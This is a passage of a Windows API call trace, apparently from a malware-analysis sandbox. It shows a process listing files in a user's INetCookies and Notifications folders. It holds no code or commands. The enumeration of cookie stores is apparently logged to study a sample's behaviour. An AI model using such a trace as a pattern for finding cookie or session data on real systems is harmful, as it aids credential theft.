dwReserved1=0x0, cFileName="P9JHL0AF.cookie", cAlternateFileName="P9JHL0~1.COO")) returned 1 [0179.875] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x430ae156, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x430ae156, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrivacIE", cAlternateFileName="")) returned 1 [0179.875] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x651fe40, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x651fe40, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x651fe40, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="T0ICIWVP.cookie", cAlternateFileName="T0ICIW~1.COO")) returned 1 [0179.875] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8faedb8d, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x8faedb8d, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x8faedb8d, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="TDJT1R5W.cookie", cAlternateFileName="TDJT1R~1.COO")) returned 1 [0179.875] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x651fe40, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0x651fe40, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x651fe40, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x40, dwReserved0=0x0, dwReserved1=0x0, cFileName="UBHR6PKO.cookie", cAlternateFileName="UBHR6P~1.COO")) returned 1 [0179.875] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90109c21, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x90109c21, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x90109c21, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXBG6NYW.cookie", cAlternateFileName="ZXBG6N~1.COO")) returned 1 [0179.875] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90109c21, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x90109c21, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x90109c21, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x93, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZXBG6NYW.cookie", cAlternateFileName="ZXBG6N~1.COO")) returned 0 [0179.876] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", lpFilePart=0x0) returned 0x48 [0179.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.876] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException", lpFilePart=0x0) returned 0x48 [0179.877] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\DNTException\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x433e08f7, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x433e08f7, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f610 [0179.877] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x433e08f7, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x433e08f7, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.878] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x433e08f7, ftCreationTime.dwHighDateTime=0x1d327ed, ftLastAccessTime.dwLowDateTime=0x433e08f7, ftLastAccessTime.dwHighDateTime=0x1d327ed, ftLastWriteTime.dwLowDateTime=0x433e08f7, ftLastWriteTime.dwHighDateTime=0x1d327ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0179.878] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x430ae156, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x430ae156, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0179.878] FindNextFileW (in: hFindFile=0x135f610, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x430ae156, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x430ae156, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0179.878] FindClose (in: hFindFile=0x135f610 | out: hFindFile=0x135f610) returned 1 [0179.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.878] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", lpFilePart=0x0) returned 0x3f [0179.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.878] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low", lpFilePart=0x0) returned 0x3f [0179.878] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\Low\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc83b6f59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.879] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc83b6f59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.879] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc83b6f59, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x43087f08, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.879] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", lpFilePart=0x0) returned 0x44 [0179.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.879] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE", lpFilePart=0x0) returned 0x44 [0179.879] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\INetCookies\\PrivacIE\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x430ae156, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x430ae156, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.879] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x430ae156, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x430ae156, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.880] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x430ae156, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x430ae156, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0179.880] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x430ae156, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x430ae156, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x430ae156, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0179.880] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications", nBufferLength=0x105, lpBuffer=0x12feb14, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications", lpFilePart=0x0) returned 0x3d [0179.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12ff02c) returned 1 [0179.880] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications", nBufferLength=0x105, lpBuffer=0x12feae0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications", lpFilePart=0x0) returned 0x3d [0179.880] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications\\*", lpFindFileData=0x12fed54 | out: lpFindFileData=0x12fed54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae251d1a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x55bff026, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55bff026, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.881] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae251d1a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x55bff026, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55bff026, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.881] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5da496a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc5da496a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x39985a2f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpndatabase.db", cAlternateFileName="WPNDAT~1.DB")) returned 1 [0179.881] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55bff026, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x55bff026, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6918685a, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpndatabase.db-shm", cAlternateFileName="WPNDAT~2.DB-")) returned 1 [0179.881] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc64330fb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc64330fb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x75a105e8, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0xc140, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpndatabase.db-wal", cAlternateFileName="WPNDAT~1.DB-")) returned 1 [0179.881] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc069f076, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc84021e4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x740cf5bf, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpnidm", cAlternateFileName="")) returned 1 [0179.882] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc5bb4ac4, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc5bb4ac4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x69135fdc, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPNPRMRY.tmp", cAlternateFileName="")) returned 1 [0179.882] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fed60 | out: lpFindFileData=0x12fed60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.882] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fefe8) returned 1 [0179.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12feff4) returned 1 [0179.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefcc) returned 1 [0179.882] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications", nBufferLength=0x105, lpBuffer=0x12fea80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications", lpFilePart=0x0) returned 0x3d [0179.882] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications\\*", lpFindFileData=0x12fecf4 | out: lpFindFileData=0x12fecf4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae251d1a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x55bff026, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55bff026, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f690 [0179.882] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae251d1a, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x55bff026, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55bff026, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.882] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5da496a, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc5da496a, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x39985a2f, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpndatabase.db", cAlternateFileName="WPNDAT~1.DB")) returned 1 [0179.883] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55bff026, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x55bff026, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x6918685a, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpndatabase.db-shm", cAlternateFileName="WPNDAT~2.DB-")) returned 1 [0179.883] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc64330fb, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc64330fb, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x75a105e8, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0xc140, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpndatabase.db-wal", cAlternateFileName="WPNDAT~1.DB-")) returned 1 [0179.883] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc069f076, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc84021e4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x740cf5bf, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wpnidm", cAlternateFileName="")) returned 1 [0179.883] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc5bb4ac4, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc5bb4ac4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x69135fdc, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPNPRMRY.tmp", cAlternateFileName="")) returned 1 [0179.883] FindNextFileW (in: hFindFile=0x135f690, lpFindFileData=0x12fed00 | out: lpFindFileData=0x12fed00*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc5bb4ac4, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xc5bb4ac4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x69135fdc, ftLastWriteTime.dwHighDateTime=0x1d5e878, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPNPRMRY.tmp", cAlternateFileName="")) returned 0 [0179.883] FindClose (in: hFindFile=0x135f690 | out: hFindFile=0x135f690) returned 1 [0179.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef88) returned 1 [0179.883] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef94) returned 1 [0179.883] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm", lpFilePart=0x0) returned 0x44 [0179.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.884] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm", lpFilePart=0x0) returned 0x44 [0179.884] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\Notifications\\wpnidm\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc069f076, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc84021e4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x740cf5bf, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.884] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc069f076, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc84021e4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x740cf5bf, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.884] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x86a75080, ftCreationTime.dwHighDateTime=0x1d3272d, ftLastAccessTime.dwLowDateTime=0x86a75080, ftLastAccessTime.dwHighDateTime=0x1d3272d, ftLastWriteTime.dwLowDateTime=0x86a75080, ftLastWriteTime.dwHighDateTime=0x1d3272d, nFileSizeHigh=0x0, nFileSizeLow=0x20a46, dwReserved0=0x0, 